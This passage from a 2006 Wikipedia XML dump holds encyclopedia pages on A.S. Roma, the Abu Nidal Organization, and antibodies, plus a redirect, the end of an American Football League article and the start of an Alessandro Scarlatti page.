*Ed Gruver, ''The American Football League: A Year-By-Year History, 1960-1969'', ISBN 0786403993
*Sal Maiorana, ''If You Can't Join 'Em, Beat 'Em: A Remembrance of the American Football League'', ISBN 1410749428
*Jeff Miller, ''Going Long: The Wild Ten-Year Saga of the Renegade American Football League In the Words of Those Who Lived It'', ISBN 0071418490

==External links==
*[http://www.RemembertheAFL.com RemembertheAFL.com Website]
*[http://aflfootball.tripod.com aflfootball.tripod.com]
*[http://www.mmbolding.com/BSR/Detroit_Lions_vs_Denver_Broncos_August_5,_1967.htm The Summer of the Little Super Bowls]
{{AFL (1960 - 1969)}}

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[[Category:Defunct American football leagues]]

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  <page>
    <title>A.S. Roma</title>
    <id>2358</id>
    <revision>
      <id>42073011</id>
      <timestamp>2006-03-03T17:11:02Z</timestamp>
      <contributor>
        <username>Toreau</username>
        <id>20188</id>
      </contributor>
      <minor />
      <comment>+no</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Roma |
  image    = [[Image:As_roma.gif|75px|logo]] |
  fullname = Associazione Sportiva Roma&lt;br/&gt;SpA |
  nickname = ''Giallorossi'' (Yellow-red),&lt;br/&gt;''Magica'' (Magic) |
  founded  = [[July 22]]nd, [[1927]] |
  ground   = [[Stadio Olimpico]],&lt;br/&gt;[[Rome]]|
  capacity = 82,307 | 
  chairman = [[Francesco Sensi]] |
  manager  = [[Luciano Spalletti]] |
  league   = [[Serie A]] |
  season   = [[Serie A 2004-05|2004-05]] |
  position = [[Serie A]], 8th |
  pattern_la1=_orange_border|pattern_b1=|pattern_ra1=_orange_border|
  leftarm1=B2142B|body1=B2142B|rightarm1=B2142B|shorts1=FFFFFF|socks1=000000|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFFFFF|body2=FFFFFF|rightarm2=FFFFFF|shorts2=FFFFFF|socks2=FFFFFF|
}}

'''Associazione Sportiva Roma''' is an [[Italy|Italian]] [[football (soccer)|football]] club based in [[Rome]]. Nicknamed the ''giallorossi'', it plays in [[Serie A]]. Roma's home uniforms are dark red shirts with dark yellow borders, white shorts and black socks.

The emblem is the [[Founding of Rome|Capitoline she-wolf lactating twins]], symbol of Rome, superimposed a bipartite golden-yellow over red shield; official colors are the same as those of Rome, red for [[Roman Empire|imperial]] dignity, gold for the [[Christianity|Christian God]].

A.S. Roma was founded in [[July]] [[1927]]. The city of Rome already had three teams in the [[Italian Football League Teams|Italian football league]] (Alba, Fortitudo and Lazio), however the Fascist regime wanted to merge the latter into one which the working classes could identify with, the biggest club Lazio considered very much a patrician club of the Roman social elite, and strong enough to challenge the traditional northern teams to reinforce Rome's image as regime capital for propaganda purposes. Lazio  management refused to even discuss the matter, but Alba, Pro Roma, Fortitudo and Roman agreed to merge and thus Roma was founded. Roma was named after the city and with the red and yellow strip of the Roman club. The initial stadium was Motovelodromo Appio. 

They took part in their first league in the 1929-30 season and won their first scudetto in the 1941-42 season. The second was won in the 1982-83 season and the third in 2000-01. They were runners-up in 1930-31, 1935-36, 1980-81, 1983-84, 1985-86, 2001-02 and 2003-04. They were relegated only once, at the end of the 1950-51 season, returning to Serie A the next season.

The club has won the Coppa Italia seven times: 1963-64, 1968-69, 1979-80, 1980-81, 1983-84, 1985-86, and 1990-91, the Supercoppa Italia in 2001, and the UEFA Cup (Fairs Cup) once in 1960-61, defeating Birmingham City.

In 1984, Roma lost the final match of the European Cup, played in Rome, against Liverpool F.C., after a penalty shootout.

The current stadium is the 82,307 seater [[Stadio Olimpico]], which is shared with [[S.S. Lazio]].  The two teams compete against one another twice each year in the [[Rome derby]], a major and emotional event in Italian football.

==History==
===1950s to 1970s===
After returning to Serie A in 1952, Roma spent the remainder 1950s and early 1960s in the top half of Serie A. From 1963 to 1979, Roma endured a period of frustrating mediocrity with 3rd place in 1974-75 being the best they could manage, punctured by either mid-table mediocrity or flirtation with relegation.

===1970s and 1980s===
With talented players including [[Bruno Conti]], Agostino Di Bartolomei and Falcao, Roma would begin the 1980s in its best position to challenge for the title since 1942. After narrowly missing out in 1981, they finally broke through in 1983 amidst joyous celebrations in the capital. They reached the European Cup final the following year, only to lose to Liverpool on penalties.

They have more or less remained in the top half of Serie A ever since, occasionally mounting a serious challenge for the title. As of 2005-06, Roma have set the Serie A record for consecutive wins, beating Lazio 2-0 in the [[Rome derby]] for their 11th win.

==Current first team squad==
''As of January 2006''
{{Football squad start}}
{{Football squad player|no=1|nat=ITA|name=[[Gianluca Curci]]|pos=GK}}
{{Football squad player|no=2|nat=ITA|name=[[Christian Panucci]]|pos=DF}}
{{Football squad player|no=3|nat=ITA|name=[[Cesare Bovo]]|pos=DF}} 
{{Football squad player|no=4|nat=GHA|name=[[Samuel Osei Kuffour]]|pos=DF}}
{{Football squad player|no=5|nat=FRA|name=[[Philippe Mexes]]|pos=DF}}
{{Football squad player|no=7|nat=HND|name=[[Edgar Álvarez]]|pos=MF|other=on loan from [[C.A. Peñarol|Peñarol]]}}
{{Football squad player|no=8|nat=ITA|name=[[Alberto Aquilani]]|pos=MF}}
{{Football squad player|no=9|nat=ITA|name=[[Vincenzo Montella]]|pos=FW|other=vice-captain}}
{{Football squad player|no=10|nat=ITA|name=[[Francesco Totti]]|pos=FW|other=captain}}
{{Football squad player|no=11|nat=BRA|name=[[Rodrigo Taddei]]|pos=MF}} 
{{Football squad player|no=13|nat=ROU|name=[[Cristian Chivu]]|pos=DF}}
{{Football squad player|no=14|nat=MAR|name=[[Houssine Kharja]]|pos=MF}}
{{Football squad player|no=15|nat=FRA|name=[[Olivier Dacourt]]|pos=MF}}
{{Football squad player|no=16|nat=ITA|name=[[Daniele De Rossi]]|pos=MF}}
{{Football squad mid}}
{{Football squad player|no=17|nat=ITA|name=[[Damiano Tommasi]]|pos=MF}}
{{Football squad player|no=20|nat=ITA|name=[[Simone Perrotta]]|pos=MF}}
{{Football squad player|no=21|nat=GRC|name=[[Dimitrios Eleftheropoulos]]|pos=GK}}
{{Football squad player|no=22|nat=ITA|name=[[Pietro Pipolo]]|pos=GK}}
{{Football squad player|no=24|nat=ITA|name=[[Luigi Sartor]]|pos=DF}}
{{Football squad player|no=25|nat=ARG|name=[[Leandro Damian Cufrè]]|pos=DF}}
{{Football squad player|no=26|nat=ITA|name=[[Alessio Cerci]]|pos=FW}}
{{Football squad player|no=28|nat=ITA|name=[[Aleandro Rosi]]|pos=MF}}
{{Football squad player|no=29|nat=ITA|name=[[Leandro Greco]]|pos=MF}}
{{Football squad player|no=30|nat=BRA|name=[[Alessandro Faiolhe Amantino Mancini|Mancini]]|pos=MF}}
{{Football squad player|no=32|nat=BRA|name=[[Donieber Alexander Marangon|Doni]]|pos=GK}}
{{Football squad player|no=35|nat=ITA|name=[[Stefano Okaka Chuka]]|pos=FW}}
{{Football squad player|no=40|nat=COD|name=[[Shabani Nonda]]|pos=FW}}
{{Football squad end}}

==Team honors==
[[Image:0001romaparmasaltomontella.jpg|thumb|150px|[[Vincenzo Montella]] celebrating the 2-0 goal in 2000/01 Roma-Parma 3-1 league match, which marked the winning of the league title.]]
*Italian [[Serie A|League Champions]] (''Scudetti'') '''3''' 1941-42 1982-83 2000-01
*Italian [[Coppa Italia|Cup]] '''7''' 1963-64 1968-69 1979-80 1980-81 1983-84 1985-86 1990-91
*Italian SuperCup '''1''' 2000-01
*[[Fairs Cup]] '''1''' 1960-61
*[[Anglo-Italian Cup]] '''1''' 1971-72

==Notable players==
* {{flagicon|BRA}} [[Aldair]] (1990-2003)
* {{flagicon|ITA}} [[Amadeo Amadei]]
* {{flagicon|ITA}} [[Francesco Antonioli]] (1999-2003)
* {{flagicon|BRA}} [[Marcos Assunção]] (1999-2002)
* {{flagicon|ARG}} [[Abel Balbo]] (1993-98, 2000-02)
* {{flagicon|ARG}} [[Gabriel Batistuta]] (2000-2002)
* {{flagicon|BRA}} [[Cafu]] (1997-2003)
* {{flagicon|FRA}} [[Vincent Candela]] (1996-2005)
* {{flagicon|Norway}} [[John Carew]] (2003-2004)
* {{flagicon|ITA}} [[Antonio Cassano]] (2001-2006)
* {{flagicon|ITA}} [[Bruno Conti]] (1973-1990)
* {{flagicon|BRA}} [[Dino Da Costa]]
* {{flagicon|ITA}} [[Marco Delvecchio]] (1995-2005)
* {{flagicon|ITA}} [[Luigi Di Biagio]] (1995-1999)
* {{flagicon|BRA}} [[Emerson Ferreira da Rosa|Emerson]] (2000-2004)
* {{flagicon|BRA}} [[Paulo Roberto Falcão]]
* {{flagicon|ITA}} [[Giuseppe Giannini]] (1981-1996)
* {{flagicon|GER}} [[Thomas Häßler]] (1991-1994)
* {{flagicon|BRA}} [[Alessandro Faiolhe Amantino Mancini|Mancini]]
* {{flagicon|ARG}} [[Pedro Manfredini]]
* {{flagicon|ITA}} [[Vincenzo Montella]]
* {{flagicon|JPN}} [[Hidetoshi Nakata]]  (2000-2001)
* {{flagicon|ITA}} [[Roberto Pruzzo]]
* {{flagicon|ITA}} [[Claudio Ranieri]] (1972-1974)
* {{flagicon|ARG}} [[Walter Samuel]] (2000-2004)
* {{flagicon|ARG}} [[Angelo Sormani]]
* {{flagicon|ITA}} [[Francesco Totti]]
* {{flagicon|GER}} [[Rudi Völler]] (1987-1992)
* {{flagicon|FRA}} [[Jonathan Zebina]] (2000-2004)

==Coaches==
* {{flagicon|ITA}} [[Luciano Spalletti]] (2005-)
* {{flagicon|ITA}} [[Bruno Conti]] (2005, caretaker)
* {{flagicon|ITA}} [[Luigi Del Neri]] (2004-2005)
* {{flagicon|GER}} [[Rudi Völler]] (2004)
* {{flagicon|ITA}} [[Cesare Prandelli]] (Summer 2004)
* {{flagicon|ITA}} [[Fabio Capello]] (2000-2004)
* {{flagicon|CZE}} [[Zdenek Zeman]] (1997-1999)
* {{flagicon|ITA}} [[Ezio Sella]] (1996-1997)
* {{flagicon|SWE}} [[Nils Liedholm]] (1996-1997)
* {{flagicon|ARG}} [[Carlos Bianchi]] (1996-1997)
* {{flagicon|ITA}} [[Carlo Mazzone]] (1993-1996)
* {{flagicon|YUG}} [[Vujadin Boskov]] (1992-1993)
* {{flagicon|ITA}} [[Ottavio Bianchi]] (1990-1992)
* {{flagicon|ITA}} [[Gigi Radice]] (1989-1990)
* {{flagicon|SWE}} [[Nils Liedholm]] (1988-1989)
* {{flagicon|ITA}} [[Luciano Spinosi]] (1988-1989)
* {{flagicon|BRA}} [[Angelo Benedicto Sormani]] (1986-1987)
* {{flagicon|SWE}} [[Sven-Göran Eriksson]] (1984-1987)
* {{flagicon|SWE}} [[Nils Liedholm]] (1980-1984)
* {{flagicon|HUN}} [[Lajos Kovacs]] (1933-1934)
* {{flagicon|Austria}} [[Giovanni Baar]] (1932-1933)
* {{flagicon|ENG}} [[Francis Burgess]] (1930-1932)
* {{flagicon|ITA}} [[Guido Baccani]] (1929-1930)
* {{flagicon|ENG}} [[Willy Garbutt]] (1927-1929)

==Retired numbers==
*6 {{flagicon|Brazil}} [[Aldair]], [[defender (football)|centre back]], 1990-2003

==External links==
*{{it icon}} [http://www.asromacalcio.it Official Site in Italian]
*{{zh icon}} [http://www.asroma.com.cn Official Site in Chinese]
*[http://www.romacaputmundi.com Roma Caput Mundi] (news site)
* {{it icon}} [http://www.asromaultras.it/ ASRoma Ultras] (fans site)
*[http://www.fcitalia.com/roma/news/newsroma.htm AS Roma News] (news Italia)
*[http://www.asroma-addict.com/en/index.htm AS Roma Addict] (fans site)
*[http://www.roma-revolution.com AS Roma Revolution] (fans site &amp; News Site)
*[http://www.resultsfromfootball.com/seriea-team/asroma.html AS Roma statistics]

{{Serie A}}
{{UEFA Cup 2005/06}}
[[Category:Italian football clubs|Roma]]
[[Category:Rome]]

[[cs:AS Roma]]
[[da:AS Roma]]
[[de:AS Rom]]
[[es:Associazione Sportiva Roma]]
[[fr:AS Rome]]
[[id:AS Roma]]
[[it:Associazione Sportiva Roma]]
[[he:רומא (כדורגל)]]
[[nl:AS Roma]]
[[ja:ASローマ]]
[[no:A.S. Roma]]
[[pl:AS Roma]]
[[pt:AS Roma]]
[[ru:АС Рома (футбольный клуб)]]
[[sv:AS Roma]]
[[zh:羅馬足球俱樂部]]</text>
    </revision>
  </page>
  <page>
    <title>Torino Calcio</title>
    <id>2359</id>
    <revision>
      <id>26695870</id>
      <timestamp>2005-10-28T10:27:36Z</timestamp>
      <contributor>
        <username>CapPixel</username>
        <id>396007</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Torino F.C.]]</text>
    </revision>
  </page>
  <page>
    <title>Fatah - the Revolutionary Council</title>
    <id>2360</id>
    <revision>
      <id>39828601</id>
      <timestamp>2006-02-16T03:30:15Z</timestamp>
      <contributor>
        <username>Descendall</username>
        <id>195820</id>
      </contributor>
      <minor />
      <comment>/* Formation &amp; background */</comment>
      <text xml:space="preserve">'''Fatah - Revolutionary Council''' (better known as the '''Abu Nidal Organization''', after its founder [[Abu Nidal]]) was an international [[terrorism|terrorist]] organization created by a split from [[Fatah]] in [[1974]].

The group is also known as the Arab Revolutionary Brigades, Black June (not to be confused with [[Black September (group)|Black September]]) and the Revolutionary Organization of Socialist Muslims.

== Formation &amp; background ==

Fatah-RC originally formed as a result of the 1974 [[Rejectionist Front]] split in the PLO, after the [[Arafat]]'s Fatah had pushed through amendments of the [[Palestinian Liberation Organization]]'s (PLO) goals, that were seen as a step towards compromise with [[Israel]]. Abu Nidal then moved to [[Ba'th]]-ruled [[Iraq]] where he set up the Fatah-RC, which soon began a vicious string of terrorist attacks.

It has not clearly defined its ideological position, but was clearly opposed to any form of compromise or negotiation with Israel. It is known as one of the most uncompromisingly militant Palestinian groups ever. It had an estimated membership of several hundred, but its strength today is not known.

== Fatah-RC attacks ==

During its history, Fatah-RC has carried out  attacks in 20 countries, killing or injuring almost 900 persons. Targets include the [[United States]], the [[United Kingdom]], [[France]], [[Israel]], moderate [[Palestinian]]s, the [[PLO]], and various [[Arab]] and [[Europe]]an countries. The group has not attacked Western targets since the late 1980s.

Major attacks included the [[Rome and Vienna Airport Attacks]] in December [[1985]], the [[Neve Shalom synagogue]] in [[Istanbul]] and the [[Pan Am]] [[Pan Am Flight 73|Flight 73]] hijacking in [[Karachi]] in September [[1986]], and the City of [[Poros]] day-excursion ship attack in [[Greece]] in July [[1988]].

Fatah-RC has been especially noted for its uncompromising stance on negotiation with Israel, treating anything less than all-out military struggle against Israel as treachery. This led the group to perform numerous attacks against the PLO, which had made clear it accepted a negotiated solution to the conflict. Fatah-RC is believed to have assassinated PLO deputy chief [[Abu Iyad]] and PLO security chief [[Abu Hul]] in [[Tunis]] in January [[1991]]. It assassinated a [[Jordan]]ian diplomat in [[Lebanon]] in January [[1994]] and has been linked to the killing of the PLO representative there. Noted PLO moderate [[Issam Sartawi]] was killed by the Fatah-RC in [[1983]]. In the late 1970s, Fatah-RC also made failed assassination attempt on the present Palestinian [[President of the Palestinian National Authority|president]] and PLO chairman, [[Mahmoud Abbas]]. These attacks, and numerous others, led to the PLO issuing a death sentence ''in absentia'' against Abu Nidal. In the early 1990s, it made an attempt to gain control of a refugee camp in [[Lebanon]], but this was thwarted by PLO organizations.

== Support ==

The group has at various stages received funding from [[Iraq]], [[Libya]], and (until [[1987]]) [[Syria]]. Initially, Fatah-RC was closest to the Iraqi regime, but near the end of the 1970s, it moved closer to Libya. From the early 1980s, some viewed it as a Libyan proxy. As [[Muammar al-Qadhafi|al-Qadhafi]] came under increasing pressure from Western governments for his involvement in international terrorism, Libyan backing dwindled, and the group seems to have been forced by the authorities to remain quiet from the late 1980s. Fatah-RC:s operations in [[Libya]] were finally stopped by local authorities in [[1999]], but by then most of the organization had already left for, or fled to, [[Sudan]] and other Arab countries. The choking of funding from [[Middle East]]ern governments caused the organization to slip away in obscurity. Abu Nidal's failing health also seems to have contributed to this. Abu Nidal lived in [[Baghdad]] from the 1990s. He was found dead in [[2002]] by agents of the [[Iraq]]i regime. According to the Iraqi government he shot himself in the mouth when security services came to arrest him, however, Fatah-RC issued a statement from Beirut, stating their belief that Abu Nidal had been murdered.

Fatah-RC has repeatedly been accused, not least by other Palestinians, of acting as a [[mercenary]] terrorist force rather than as part of a national liberation movement. Many of its attacks are seemingly unrelated to the Palestinian struggle, and international terrorism experts point out that the Fatah-RCC tended to attack Libya's enemies during periods of Libyan support, Iraqi enemies during periods of backing from [[Saddam Hussein]], etc.

==See also==

*[[Abu Nidal]] - long article including information on Fatah RC

==Source==
Much of the information in this article comes form the U.S. State Department report &quot;Patterns of Global Terrorism - 2003&quot; [http://www.state.gov/s/ct/rls/pgtrpt/2003/31711.htm].

==External links==
* [http://news.bbc.co.uk/1/hi/world/middle_east/2203099.stm Abu Nidal: Ruthless maverick]

[[Category:Palestinian militant groups]]
[[Category:Arab-Israeli conflict]]
[[Category:Israeli-Palestinian conflict]]

[[de:Fatah-Revolutionsrat]]
[[pl:Organizacja Abu Nidala]]</text>
    </revision>
  </page>
  <page>
    <title>Antibody</title>
    <id>2362</id>
    <revision>
      <id>41520605</id>
      <timestamp>2006-02-27T22:36:00Z</timestamp>
      <contributor>
        <ip>198.99.85.66</ip>
      </contributor>
      <comment>/* Structure of the antibody */</comment>
      <text xml:space="preserve">[[Image:Antibody.png|thumb|180px|Schematic of antibody binding to an [[antigen]]]]
An '''antibody''' is a [[protein]] used by the [[immune system]] to identify and neutralize foreign objects like [[bacterium|bacteria]] and [[Virus|viruses]]. Each antibody recognizes a specific [[antigen]] unique to its target. Production of antibodies is referred to as the [[humoral immune system]].

==Definition==
Immunoglobulins are [[glycoprotein]]s in the [[immunoglobulin superfamily]] that function as antibodies. The terms ''antibody'' and ''immunoglobulin'' are often used interchangeably. They are found in the [[blood]] and tissue fluids, as well as many [[secretion]]s. In structure, they are [[globulin]]s (in the &amp;gamma;-region of [[protein electrophoresis]]). They are synthesized and secreted by [[plasma cell]]s that are derived from the [[B cells]] of the immune system. B cells are activated upon binding to their specific antigen and differentiate into [[plasma cells]]. In some cases, the interaction of the B cell with a [[T cell|T helper cell]] is also necessary.

==Structure of the antibody==
Immunoglobulins are heavy plasma proteins, often with added sugar chains (see [[glycosylation]]) on N-terminal (all antibodies) and occasionally O-terminal (IgA1 and IgD) amino acid residues.

The basic unit of each antibody is a [[monomer]]. An antibody can be monomeric, dimeric, trimeric, tetrameric, pentameric, etc. The monomer is a &quot;Y&quot;-shape molecule that consists of two identical heavy chains and two identical light chains connected by [[disulfide bond]]s. 

There are five types of heavy chain: &amp;gamma;, &amp;delta;, &amp;alpha;, &amp;mu; and &amp;epsilon;. They define classes of immunoglobulins. Heavy chains &amp;alpha; and &amp;gamma; have approximately 450 [[amino acids]], while &amp;mu; and &amp;epsilon; have approximately 550 amino acids. Each heavy chain has a constant region, which is the same by all immunoglobulins of the same class, and a variable region, which differs between immunoglobulins of different B cells, but is the same for all immunoglobulins produced by the same [[B cell]]. Heavy chains &amp;gamma;, &amp;alpha; and &amp;delta; have the constant region composed of three [[Structural domain|domains]] but have a hinge region; the constant region of heavy chains &amp;mu; and &amp;epsilon; is composed of four domains. The variable domain of any heavy chain is composed of one domain. These domains are about 110 amino acids long. There are also some amino acids between constant domains.

There are only two types of light chain: &amp;lambda; and &amp;kappa;. In humans, they are similar, but only one type is present in each antibody. Each light chain has two successive domains: one constant and one variable domain. The approximate length of a light chain is from 211 to 217 amino acids. 

The monomer is composed of two heavy and two light chains. Together this gives six to eight constant domains and four variable domains. If it is cleaved with enzymes [[papain]]  we get two ''Fab'' (''f''ragment ''a''ntigen ''b''inding) fragments and an ''Fc'' (''f''ragment ''c''rystallizable) fragment, whereas pepsin cleaves below hinge region, so a f(ab)2  fragment and a fc fragment is formed.

Each half of the forked end of the &quot;Y&quot;-shape monomer is called the Fab fragment. It is composed of one constant and one variable domain of each the heavy and the light chain, which together shape the antigen binding site at the [[N-terminal end|amino terminal end]] of the monomer. The two variable domains bind the antigens they are specific for and that elicited their production.  

The ability to bind a wide variety of foreign antigens arises from events known as somatic recombination.  This is when genes are selected (variable (V), diversity (D) and joining (J) for heavy chains, and only V and J for light chains) to form countless combinations.  The main reason that the human immune system is capable of binding so many antigens is the variable region of the heavy chain.  To be specific, it is the area where these V, D and J genes are found - otherwise known as the complementarity determining region 3 (CDR3).

The Fc fragment is the stem of the &quot;Y&quot; and is composed from two heavy chains that each contribute two to three constant domains (depending on the class of the antibody). It binds to various cell [[receptor (biochemistry)|receptor]]s and [[Complement system|complement]] proteins. In this way it mediates different physiological effects of antibodies ([[opsonization]], cell [[lysis]], mast cell, basophil and eosinophil [[degranulation]] and other processes).

The variable regions of the heavy and light chains can be fused together to form a [[single chain variable fragment]] (scFv), which retains the original specificity of the parent immunoglobulin.

A crude estimation of immunoglobulin levels can be made by [[protein electrophoresis]]. Here the plasma proteins are separated into [[albumin]], [[alpha-globulin]]s (1 and 2), [[beta-globulin]]s (1 and 2) and [[Gamma globulin|gamma-globulin]]s according to weight. Immunoglobulins are all in the gamma region. In some disease states ([[myeloma]]) a very high concentration of one particular immunoglobulin will show up as a ''[[monoclonal]]'' band.

==Isotypes==
According to differences in their heavy chain constant domains, immunoglobulins are grouped into five classes or isotypes: ''IgG'', ''IgA'', ''IgM'', ''IgD'', and ''IgE''. (The isotypes are also defined with light chains, but they do not define classes, so they are often neglected.) Other immune cells partner with antibodies to eliminate pathogens depending on which IgG, IgA, IgM, IgD, and IgE constant binding domain receptors it can express on its surface.

The antibodies that a single B lymphocyte produces can differ in their heavy chain and the B cell often expresses different classes of antibodies at the same time. However, they are identical in their specificity for antigen, conferred by their variable region. To achieve the large number of specificities the body needs to protect itself against many different foreign antigens, it must produce millions of B lymphoyctes. It is important to note that, in order to produce such a diversity of antigen binding sites with a separate [[gene]] for each possible antigen, the immune system would require many more genes than exist in the [[genome]]. Instead, as [[Susumu Tonegawa]] showed in 1976, portions of the genome in B lymphocytes can [[Genetic recombination|recombine]] to form all the variation seen in the antibodies and more. Tonegawa won the [[Nobel Prize in Physiology or Medicine]] in [[1987]] for his discovery.

===IgG===
[[Image:IgG_molecular_surface.jpg|200px|thumb|right|Molecular surface of an IgG molecule]]
IgG is a monomeric immunoglobulin, built of two heavy chains &amp;gamma; and two light chains. Each molecule has two antigen binding sites. This is the most abundant immunoglobulin and is approximately equally distributed in [[blood]] and in tissue liquids. This is the only isotype that can pass through the [[placenta]], thereby providing protection to the [[fetus]] in its first weeks of life before its own immune system has developed. It can bind to many kinds of pathogens, for example [[virus]]es, [[bacteria]], and [[fungi]], and protects the body against them by complement activation (classic pathway), opsonization for [[phagocytosis]] and [[neutralisation (immunology)|neutralisation]] of their toxins. There are 4 subclasses: IgG1 (66%), IgG2 (23%), IgG3 (7%) and IgG4 (4%).  
-IgG1, IgG3 and IgG4 cross the placenta easily.
-IgG3 is the most effective complement activator, followed by IgG1 and then IgG2. IgG4 does not activate complement.
- IgG1 and IgG3 bind with high affinity to Fc receptors on phagocytic cells. IgG4 has intermediate affinity and IgG2 affinity is extremely low.

===IgA===
IgA represents about 15% to 20% of immunoglobulins in the blood, although it is primarily secreted across the [[mucosal]] tract into the [[stomach]] and [[intestines]]. It is also found in maternal [[milk]], [[tears]] and [[saliva]]. This immunoglobulin helps to fight against pathogens that contact the body surface, are ingested, or are inhaled. It does not activate complement, and opsonises only weakly. Its heavy chains are of the type &amp;alpha;. It exists in two forms, IgA1 (90%) and IgA2 (10%) that differ in the structure. IgA1 is composed like other proteins, however in IgA2 the heavy and light chains are not linked with disulfide but with [[noncovalent]] bonds. Though IgA2 is less in serum, it accounts for major secretory antibody.

The IgA found in secretions have a special form. They are dimeric molecules, linked by two additional chains. One of these is the J chain (from ''j''oin), which is a [[polypeptide]] of  molecular mass 1,5 kD, rich with [[cysteine]] and structurally completely different from other immunoglobulin chains. This chain is formed in the antibodies secreting cells. The dimeric form of IgA in the outer secretions has also a polypeptide of the same molecular mass (1,5 kD) that is called the secretory chain and is produced by the [[epithelial cells]]. It is also possible to find trimeric and even tetrameric IgA.

===IgM===
IgM forms polymers where multiple immunoglobulins are covalently linked together with disulfide bonds, usually as a pentamer or a hexamer. It has a large molecular mass of approximately 900 kD (in its pentamer form). The J chain is attached to most pentamers, while hexamers do not possess the J chain due to space constraints in the complex. Because each monomer has two antigen binding sites, an IgM has 10 of them, however it cannot bind 10 antigens at the same time because they hinder each other.  Because it is a large molecule, it cannot diffuse well, and is found in the interstitium only in very low quantities. IgM is primarily found in serum; however, because of the J chain, it is also important as a secretory immunoglobulin. Due to its polymeric nature, IgM possesses high avidity, and is particularly effective at [[complement system|complement]] activation. It is also a so-called &quot;natural antibody&quot;: it is found in the serum without any evidence of prior contact with antigen.

In germline cells, the gene segment encoding the &amp;mu; constant region of the heavy chain is positioned first among other constant region gene segments. For this reason, IgM is the first immunoglobulin expressed by mature B cells.

===IgD===
IgD makes up about 1% in the plasma membranes in B-lymphocytes. It is monomeric with the &amp;delta; heavy chain. While IgD's function is not yet completely understood, it is often coexpressed with IgM, and is used as a marker of mature, naive B cells. It is believed that, together with membrane bound IgM, IgD functions as the antigen recognition receptor in B cells. It may also be involved in the differentiation of B cells into plasma and memory cells.

===IgE===
[[Immunoglobulin E|IgE]] is a monomeric immunoglobulin with the heavy chain &amp;epsilon;. It contains a high proportion of carbohydrates. Its molecular mass is 190 kD. It can be found on the surface of the plasma membrane of [[basophil granulocyte|basophils]] and [[mast cell]]s of [[connective tissue]]. IgE plays a role in immediate [[hypersensitivity]] and the defense against [[parasite]]s such as worms. The IgE antibodies are present also in outer excretions. They do not activate complement.   Only IgE is heat-labile.

==Function== 

The antibodies have two primary functions:
* they bind antigens -- see [[#The humoral immune response|below]]
* they combine with different immunoglobulin receptors specific for them and exert effector functions. These receptors are isotype-specific, which gives a great flexibility to the immune system, because different situations require only certain immune mechanisms to respond to antigens.
 
Affinity vs Avidity

* Affinity is the binding strength of the antibody to the antigen.
* Avidity is the number of antigen binding sites.

For example, IgG has higher affinity than IgM, but IgM has higher avidity.

===The humoral immune response===
When a [[macrophage]] ingests a [[pathogen]], it attaches parts of the pathogen's [[protein]]s to a [[major histocompatibility complex|class II MHC]] protein. This complex is moved to the outside of the [[cell membrane]], where it can be recognized by a [[T lymphocyte]], which compares it to similar structures on the cell membrane of a [[B lymphocyte]]. If it finds a matching pair, the T lymphocyte activates the B lymphocyte, which starts producing antibodies. A B lymphocyte can produce antibodies only against the structure it presents on its surface.

Antibodies exist freely in the bloodstream or bound to cell membranes.  They are part of the [[humoral immune system]]. Antibodies exist in clonal lines that are specific to only one [[antigen]], e.g., a virus hull protein. In binding to such antigens, they can cause [[agglutination (biology)|agglutination]] and [[precipitation (chemistry)|precipitation]] of antibody-antigen products primed for phagocytosis by [[macrophages]] and other cells, [[antagonism|block]] viral receptors, and stimulate other [[immune response]]s, such as the [[complement system|complement pathway]].

Antibodies that recognize viruses can block these directly by their sheer size. The virus will be unable to dock to a cell and infect it, hindered by the antibody. They can also agglutinate them so the phagocytes can capture them.
Antibodies that recognize bacteria mark them for ingestion by macrophages. Together with the [[blood plasma|plasma]] component [[complement system|complement]], antibodies can kill bacteria directly. They neutralize toxins by binding with them.

It is important to note that antibodies cannot attack pathogens within cells, and certain viruses &quot;hide&quot; inside cells (as part of the [[lysogenic cycle]]) for long periods of time to avoid them.  This is the reason for the chronic nature of many minor skin diseases (such as [[cold sores]]); any given outbreak is quickly suppressed by the immune system, but the infection is never truly eradicated because some cells retain viruses that will resume the apparent symptoms later.

==Medical applications==
Detection of particular antibodies is a very common form of medical diagnostics. [[Serology]] depends on these methods. [[Autoimmune disorder]]s can often be traced to antibodies that bind the body's own epitopes; many can be detected through [[blood test]]s.

&quot;Designed&quot; [[monoclonal antibody]] therapy is already being employed in a number of diseases (including [[rheumatoid arthritis]]) and in some forms of [[cancer]]. [[As of 2005|Presently]], many antibody-related therapies are undergoing extensive [[clinical trial]]s for use in practice.

==Biochemical applications==
In [[biochemistry]], antibodies are used for immunological identification of proteins, using the [[Western blot]] method.  A similar technique is used in [[ELISPOT]] and [[ELISA]] assays, in which detection antibodies are used to detect cell secretions such as cytokines or antibodies. Antibodies are also used to separate proteins (and anything bound to them) from the other molecules in a cell lysate. 

These purified antibodies are often produced by injecting the antigen into a small mammal, such as a mouse or rabbit. Blood isolated from these animals contains ''[[polyclonal antibody|polyclonal antibodies]]'' -- multiple antibodies that stick to the same antigen. The [[serum]] (=blood from which blood-clotting proteins and red-blood cells were removed), also known as the [[antiserum]], because it now contains the desired antibodies, is commonly purified with Protein A/G purification or antigen affinity chromatography. If the lymphocytes that produce the antibodies can be isolated and immortalized, then a ''[[monoclonal antibodies|monoclonal antibody]]'' can be obtained.

Antibodies are also widely used in [[immunohistochemical staining]].

==See also==
* [[Immunology]]
* [[Immunosuppressive drug]]
* [[Monoclonal antibody]]

==References==
*Pier GB, Lyczak JB, and Wetzler LM. (2004). ''Immunology, Infection, and Immunity''. ASM Press. ISBN 1555812465
*Rhoades, Rodney and Richard Pflanzer (2002).  ''Human Physiology'' (4&lt;sup&gt;th&lt;/sup&gt; ed.). Brooks/Cole. ISBN 0534421741

==External links==
*[http://www.ihcworld.com/ihcmall Search and Find Antibodies]
*[http://www.immunoportal.com Antibody Search &amp; Antibody Staining Protocols]
*[http://www.ihcworld.com/antibody_staining.htm Antibody Staining Protocol Database]
*[http://www.cellsalive.com/antibody.htm How Lymphocytes Produce Antibody]
*[http://www.lymphomation.org/tests-immunoglobulins.htm Lymphomation: Immunoglobulins]
*[http://biology.plosjournals.org/perlserv/?request=get-document&amp;doi=10.1371/journal.pbio.0000016 Recombination and the Evolution of the Adaptive Immune System]

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  <page>
    <title>Alessandro Scarlatti</title>
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      <text xml:space="preserve">[[image:alessandro-scarlatti.jpg|thumb|200px|Alessandro Scarlatti]]

